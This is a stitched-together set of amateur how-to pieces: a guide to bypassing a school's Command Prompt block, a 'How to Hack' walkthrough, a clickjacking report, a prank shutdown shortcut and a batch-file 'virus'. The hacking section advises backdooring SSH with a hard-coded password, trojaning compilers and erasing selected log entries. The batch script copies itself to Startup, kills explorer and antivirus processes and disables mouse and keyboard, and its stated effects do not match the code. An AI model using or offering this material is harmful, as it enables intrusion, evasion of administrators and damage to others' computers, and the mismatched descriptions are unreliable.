How to Unblock Command Prompt Anywhere

Have you ever been at school and you go to open command prompt and it says the admin has disabled command prompt or try to do a command and it gives you access is denied. well this article with tell you just how to unblock command prompt anywhere. The Program download link is in the things you will need section.

Edit Steps

1. First you want to download this program which will let you bypass the block and get Command Prompt open.
2. After you downloaded the program you want to open the .exe file in the folder. Their should be a x64.exe file and x86.exe file the 64 file is for 64 bit computers and the 86 file is for 32 bit computers.
   
   
3. After you open the program, it should look like this
   
4. To add command prompt to the program or any other program you want to add just click on the green plus sign.
5. After you click on it a menu should pop up with 3 options browser for programs,search for programs or cancel.
   
   
6. When you have added Command Prompt to the program, you can then press the play button near the top of the program but you have to first click on command prompt in the list and then hit the play button and if you did it right then it should be like this.
   
   
7. You Now have unblocked Command Prompt and you can do anything in command prompt from a regular account without having a administrator account.

Edit Warnings

• Be careful when doing this, many IT admins and tech guys do not like people messing around with their systems when they have it setup for a reason.
• Don't do this around teachers or people that can see what your doing, do it when the teacher is not looking or anyone else.

How to Hack

Hacking

1. Use a *nix terminal for commands. Cygwin will help emulate a *nix for Windows users. Nmap in particular uses WinPCap to run on Windows and does not require Cygwin. However, Nmap works poorly on Windows systems due to a lack of raw sockets. You should also consider using Linux or BSD, which are both more flexible, more reliable, and more secure. Most Linux distributions come with many useful tools pre-installed.
2. Secure your machine first. Make sure you've fully understood all common techniques to protect yourself. Start with the basics — have you found a server hosting a site about illegal or possibly bad activity? Attempt to hack it in any way you can. Don't change the site, just make it yours.
3. Test the target. Can you reach the remote system? While you can use the ping utility (which is included in most operating systems) to see if the target is active, you can not always trust the results — it relies on the ICMP protocol, which can be easily shut off by paranoid system administrators.
4. Determine the operating system (OS). Run a scan of the ports, and try pOf, or nmap to run a port scan. This will show you the ports that are open on the machine, the OS, and can even tell you what type of firewall or router they are using so you can plan a course of action. You can activate OS detection in nmap by using the -O switch.
5. Find a path or open port in the system. Common ports such as FTP (21) and HTTP (80) are often well protected, and possibly only vulnerable to exploits yet to be discovered.
   • Try other TCP and UDP ports that may have been forgotten, such as Telnet and various UDP ports left open for LAN gaming.
   • An open port 22 is usually evidence of an SSH (secure shell) service running on the target, which can sometimes be bruteforced.
6. Crack the password or authentication process. There are several methods for cracking a password, including brute force. Using brute force on a password is an effort to try every possible password contained within a pre-defined dictionary of brute force software
   • Users are often discouraged from using weak passwords, so brute force may take a lot of time. However, there have been major improvenments in brute-force techniques.
   • Most hashing algorithms are weak, and you can significally improve the cracking speed by exploiting these weaknesses (like you can cut the MD5 algorithm in 1/4, which will give huge speed boost).
   • Newer techniques use the graphics card as another processor — and it's thousands of times faster.
   • You may try using Rainbow Tables for the fastest password cracking. Notice that password cracking is a good technique only if you already have the hash of password.
   • Trying every possible password while logging to remote machine is not a good idea, as it's easily detected by intrusion detection systems, pollutes system logs, and may take years to complete.
   • It's often much easier to find another way into a system than cracking the password.
7. Get super-user privileges. Try to get root privileges if targeting a *nix machine, or administrator privileges if taking on Windows systems.
   • Most information that will be of vital interest is protected and you need a certain level of authentication to get it. To see all the files on a computer you need super-user privileges - a user account that is given the same privileges as the "root" user in Linux and BSD operating systems.
   • For routers this is the "admin" account by default (unless it has been changed); for Windows, this is the Administrator account.
   • Gaining access to a connection doesn't mean you can access everything. Only a super user, the administrator account, or the root account can do this.
8. Use various tricks. Often, to gain super-user status you have to use tactics such as creating a buffer overflow, which causes the memory to dump and that allows you to inject a code or perform a task at a higher level than you're normally authorized.
   • In unix-like systems this will happen if the bugged software has setuid bit set, so the program will be executed as a different user (super-user for example).
   • Only by writing or finding an insecure program that you can execute on their machine will allow you to do this.
9. Create a backdoor. Once you have gained full control over a machine, it's a good idea to make sure you can come back again. This can be done by backdooring an important system service, such as the SSH server. However, your backdoor may be removed during the next system upgrade. A really experienced hacker would backdoor the compiler itself, so every compiled software would be a potential way to come back.
10. Cover your tracks. Don't let the administrator know that the system is compromised. Don't change the website (if any), and don't create more files than you really need. Do not create any additional users. Act as quickly as possible. If you patched a server like SSHD, make sure it has your secret password hard-coded. If someone tries to log-in with this password, the server should let them in, but shouldn't contain any crucial information.

Warnings

• Although you may have heard the opposite, don't help anyone patch their programs or systems. This is considered extremely lame and leads to being banned from most hacking communities. And if you would release a private exploit someone found, he may become your enemy — and he's probably better than you are .
• Don't delete entire logfiles, instead, just remove only the incriminating entries from the file. The other question is, is there a backup logfile? What if they just look for differences and find the exact things you erased? Always think about your actions. The best thing is to delete random lines of log, including yours.
• Hacking into someone else's system may be illegal, so don't do it unless you are sure you have permission from the owner of the system you are trying to hack or you are sure it's worth it and you won't get caught.
• Never do anything just for fun. Remember it's not a game to hack into a network, but a power to change the world. Don't waste that on childish actions.
• Be extremely careful if you think you have found a very easy crack or a crude mistake in security management. A security professional protecting that system may be trying to trick you or setting up a honeypot.

Facebook Clickjacking Scripts Hijacking Facebook Users 

In this post we will not talk or explain the mechanism behind clickhijacking attack. The goal and moto of this post is to let you know how abusive this attack has been since past recent months.

So for those of you who don't know Clickjacking is?, it is a method of hijacking a users click in tricking him to click in to clicking some thing else. In the past Clickhijacking was used to hijack users click in to clicking on advertisements and make revenue.

Here is an example of a wordpress clickhijacking script that costs about 15$, that would trick the users into clicking ads without annoying them.

However now a days clickjacking is being used for tricking users in to liking a facebook page. As you might know that due to panda effect internet marketers are seen to be more focused on social media promotion. Therefore clickjacking scripts provid lots and lots of benefits to people who tend to use black hat SEO for promotion of the website and facebook pages. 

But what makes this even worse is the people distributing the clickjacking scripts for free or selling it. Recently I came across dozens of forums selling clickjacking scritps on a very cheap rate.

Here are some of the screen shots which I took recently: 

Demonstration

In order to demonstrate how clickjacking works, I setup a page on my free hosting account embedded with clickjacking script that would trick the users into liking the following page on clicking:

Here is the screenshot of the page where I installed Clickjacking script. (I took the script from an online forum and then modified it to meet my needs). The infected page stated the following: 

On clicking the click here to download your FreeToSell Package link the script was initiated which automatically liked the voteformypic page. 

By now you might have understood the whole idea behind the clickjacking attack. However if you would like to see more detailed analysis, I would recommend you to check the following post Hijacking Facebook Users With Clickjacking

How to make a prank shutdown virus

Ever wonder what new prank you could come up with to make your little sister go crazy? Here's a simple, yet very effective one. Just switch one of your desktop icons (i.e. Internet Explorer) with a fake one and a warning box will pop-up which will shut down your computer within 30 seconds. Isn't that enough to make lil' sister yell when she sees her Barbie doll game go bye-bye? Here's how it works:

This isn't really a virus ... its simply a shutdown program which will make your friends freak out.

First, you will need to create a shortcut. You can create a shortcut by right-clicking on your desktop and selecting New, and then, Shortcut.

A Create Shortcut box should then open. In that box, write the following:

shutdown -s -t 30 -c "VIRUS DETECTED!!"

(note: the number 30 can be replaced by any other number. That number corresponds to the number of seconds before the computer will shutdown. Here I have chosen 30 in order to have enough time to close it before my computer shuts down. Also, the message between quotes can be replaced by something like "YOU HAVE BEEN INFECTED BY A TROJAN VIRUS" or some other great idea. However, the message must be between quotes.)

After, simply click on Next and a box with the name Shutdown will appear. Change the name that you want for it. In this case I have chosen Internet Explorer but it can always be renamed how you prefer.

After naming it, click on Finish and ... here's your shutdown virus!!!! Not very convincing he? Well, in that case let's change our icon!

Right-click on your shutdown Internet Explorer icon (or whichever name you gave it) and select Properties.

Select Change Icon

(Note: A box saying "system 32 does not have any icons choose from a diffrent list" or something like that may pop-up; if it does simply click on Ok)

Now... it depends on what you have named your shutdown virus ... If you chose Internet Explorer scroll all the way to the right and you will find the icon. If you did not choose Internet Explorer feel free to choose a different icon... Remember it has to be something that people will click on.

Now Heres our Icon ... Now it looks like something that people will click on.

To close the program, select the start menu and click on Run...

Write: Shutdown -a

and the program should shutdown immediately.

(Note: To shut it, you can also do a new shortcut but instead of writing shutdown -s -t 30 -c "VIRUS DETECTED" write this: shutdown -a

and call it Shutdown abort..So instead of closing it with Run you can just click on your shutdown abort shortcut.)

Have fun freaking out your friends/family ... And dont forget to close it or put a longer time frame so that you will have enough time to close it.

WARNING: This program will really shutdown your computer. It may be fun to do it to little sisters or friends but refrain from using it if someone is actually working on the computer, since they will lose all their information.

How to create a computer virus?

You might be scared of viruses in your computer or laptop. They directly affect the working of the computer systems. You may want to create your own virus too. This guide will show you how you can create a simple virus. Open the notepad file and paste the following code:

 

@echo off

copy "virus.bat" "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"

copy "virus.bat" "C:\"

copy "virus.bat" "%userprofile%\My Documents"

tskill explorer

tskill ccapp

copy "virus.bat" "virus.bat2009"

msg * this is a virus

rundll mouse,disable

rem made with Batch Virus Maker V.2

rundll keyboard,disable

 

Save it as “virus.bat” or anything with the name you want to. Now your first virus is ready to work. You can also convert it as .exe file. It copies itself to startup, hard disk, my documents and then it kills explorer.exe, chrome.exe and firefox.exe. It tries to delete mcafee antivirus and tries to delete every .dll and .bat files.  Now if someone clicks on the .bat or .exe file this batch file will run and execute the operations written in the code. So beware of running this batch file or you may need for a restoration on your computer. Read more about what is a computer virus, types of computer virus.
